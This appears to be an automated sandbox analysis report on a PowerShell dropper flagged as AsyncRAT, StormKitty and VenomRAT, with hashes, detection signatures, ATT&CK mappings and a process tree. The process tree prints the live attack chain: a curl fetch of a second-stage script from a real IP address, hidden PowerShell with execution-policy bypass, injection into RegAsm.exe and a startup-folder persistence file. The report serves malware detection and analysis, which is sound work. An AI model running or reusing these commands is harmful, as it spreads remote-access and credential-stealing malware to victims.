asyncrat | 81c941402a1bcf018d8d965f700229b5815d03ba02ca9f2d1a22c8ace0476972

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-01-2025 09:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

trwsfg.ps1
Size

1KB
MD5

87cb99ee4cbf9c8c190da786ff51cc5e
SHA1

70fcc5113233216e878781682befcedddf85eda2
SHA256

81c941402a1bcf018d8d965f700229b5815d03ba02ca9f2d1a22c8ace0476972
SHA512

85200ea2189e6e860286b9d0637698a9cf6c03380030816202e3ed0554da39bf01300470a0345f7c05b297e04e4603c2f226618fae9422d833ba22b5a47bfe6d

Score

10^/10

asyncrat stormkitty venomrat discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/2356-48-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/2356-48-0x0000000000400000-0x0000000000704000-memory.dmp	VenomRAT

Venomrat family
venomrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1376	powershell.exe
15	5060	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5060	powershell.exe
1376	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5060 set thread context of 2356	5060	powershell.exe	91

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe
1376	powershell.exe
5060	powershell.exe
5060	powershell.exe
2356	RegAsm.exe
2356	RegAsm.exe
2356	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	2356	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2356	RegAsm.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 4016	1376	powershell.exe	84
PID 1376 wrote to memory of 4016	1376	powershell.exe	84
PID 4016 wrote to memory of 4496	4016	cmd.exe	85
PID 4016 wrote to memory of 4496	4016	cmd.exe	85
PID 4016 wrote to memory of 5060	4016	cmd.exe	86
PID 4016 wrote to memory of 5060	4016	cmd.exe	86
PID 4496 wrote to memory of 2388	4496	cmd.exe	87
PID 4496 wrote to memory of 2388	4496	cmd.exe	87
PID 5060 wrote to memory of 3628	5060	powershell.exe	88
PID 5060 wrote to memory of 3628	5060	powershell.exe	88
PID 3628 wrote to memory of 3016	3628	csc.exe	89
PID 3628 wrote to memory of 3016	3628	csc.exe	89
PID 5060 wrote to memory of 2356	5060	powershell.exe	91
PID 5060 wrote to memory of 2356	5060	powershell.exe	91
PID 5060 wrote to memory of 2356	5060	powershell.exe	91
PID 5060 wrote to memory of 2356	5060	powershell.exe	91
PID 5060 wrote to memory of 2356	5060	powershell.exe	91
PID 5060 wrote to memory of 2356	5060	powershell.exe	91
PID 5060 wrote to memory of 2356	5060	powershell.exe	91
PID 5060 wrote to memory of 2356	5060	powershell.exe	91

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trwsfg.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4496
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
      4⤵
      PID:2388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5060
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ndpbeafa\ndpbeafa.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3628
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7407.tmp" "c:\Users\Admin\AppData\Local\Temp\ndpbeafa\CSC1AF6773628E64F6C89BB291477781AD3.TMP"
        5⤵
        
        PID:3016
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES7407.tmp

Filesize
1KB

MD5
03322f9261421207f5507d0cf3d99785

SHA1
6ef8a402d36926b588ccb0665a36a9e7a434f6e4

SHA256
67af96c279fc82d7966286ca50af582bea3c23b13ed51370234c080bf487437e

SHA512
f65cffe37485ecd928eef45b8fdd92bcafc9d2a72e9f0faa43244e87b6067dbe14322959d6e4e09c7ec53053c7e8fcf0f1acc805d70bcc7c8a88ad135305828e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nahonaqi.wbk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ndpbeafa\ndpbeafa.dll

Filesize
9KB

MD5
ec4603337910cb34ed212cd54333a1db

SHA1
ab6b7854981c1e2de0ef444d2959c5b2dc6e9d3d

SHA256
b7873676b16a40a522ea5b35838084b51803675f003979a40d22f8a227f38fcc

SHA512
3880f5058ceca5011a2f493af35accf9ce923042f9d7c9c12faa72a1796af402756aaf529ba10f33bbb5c5781a0857f529985081e58d1b46a324b0991f7fd9d3

Download Submit
C:\Windows\Temp\Modules.bat

Filesize
3KB

MD5
bb445d197063475c8d78de4f0825753c

SHA1
158a8e3b278affe7c1185aad67683e4253cf53dd

SHA256
7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

SHA512
173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ndpbeafa\CSC1AF6773628E64F6C89BB291477781AD3.TMP

Filesize
652B

MD5
0f0e84513e62cafea2d576229818f1a1

SHA1
e7ae3b3ee95e4c63e36fd862c32afee4b47bf3a5

SHA256
30b3b17300008d4fb31d01125438ff906b7152e027b35468d87090ebea8878ca

SHA512
fc7e4537e0674dce97db730ac4d2d191cb97fc60bf3ed657e8633be0b1031a9a80e590de74e603015eae4f559fecff2e1b6a08a8232e5a6cbc0e1daa43242c9d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ndpbeafa\ndpbeafa.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ndpbeafa\ndpbeafa.cmdline

Filesize
204B

MD5
6cb3336b958cba4e03eda5909f87909a

SHA1
5893b1d60550d8cbf80853b5582c5345b9f42339

SHA256
cd6ad486cb451f05cd8d3a0157f35bdb478a3cdf73b20d5463b22e45085245a5

SHA512
20f13cb7951435334d411805580efdcc26488b94f1217fb4857f31b651042d5d25e316c0e50c409cba37c7be691b21e5c8e289d6760db568205889daf4b9a54e

Download Submit
memory/1376-19-0x00007FF8FC720000-0x00007FF8FD1E1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-1-0x000001AB65190000-0x000001AB651B2000-memory.dmp

Filesize
136KB

Download
memory/1376-11-0x00007FF8FC720000-0x00007FF8FD1E1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-12-0x00007FF8FC720000-0x00007FF8FD1E1000-memory.dmp

Filesize
10.8MB

Download
memory/1376-0-0x00007FF8FC723000-0x00007FF8FC725000-memory.dmp

Filesize
8KB

Download
memory/2356-52-0x0000000005D30000-0x0000000005DC2000-memory.dmp

Filesize
584KB

Download
memory/2356-51-0x0000000005E40000-0x00000000063E4000-memory.dmp

Filesize
5.6MB

Download
memory/2356-59-0x0000000007070000-0x00000000073C4000-memory.dmp

Filesize
3.3MB

Download
memory/2356-58-0x0000000007040000-0x0000000007062000-memory.dmp

Filesize
136KB

Download
memory/2356-57-0x00000000068B0000-0x0000000006916000-memory.dmp

Filesize
408KB

Download
memory/2356-56-0x0000000006CF0000-0x0000000006D8C000-memory.dmp

Filesize
624KB

Download
memory/2356-48-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/2356-53-0x0000000005CB0000-0x0000000005CBA000-memory.dmp

Filesize
40KB

Download
memory/5060-21-0x00007FF8FC720000-0x00007FF8FD1E1000-memory.dmp

Filesize
10.8MB

Download
memory/5060-20-0x00007FF8FC720000-0x00007FF8FD1E1000-memory.dmp

Filesize
10.8MB

Download
memory/5060-50-0x00007FF8FC720000-0x00007FF8FD1E1000-memory.dmp

Filesize
10.8MB

Download
memory/5060-46-0x000001D740640000-0x000001D740648000-memory.dmp

Filesize
32KB

Download
memory/5060-33-0x000001D726390000-0x000001D7263A0000-memory.dmp

Filesize
64KB

Download
memory/5060-31-0x000001D740A20000-0x000001D740A64000-memory.dmp

Filesize
272KB

Download
memory/5060-32-0x000001D740AF0000-0x000001D740B66000-memory.dmp

Filesize
472KB

Download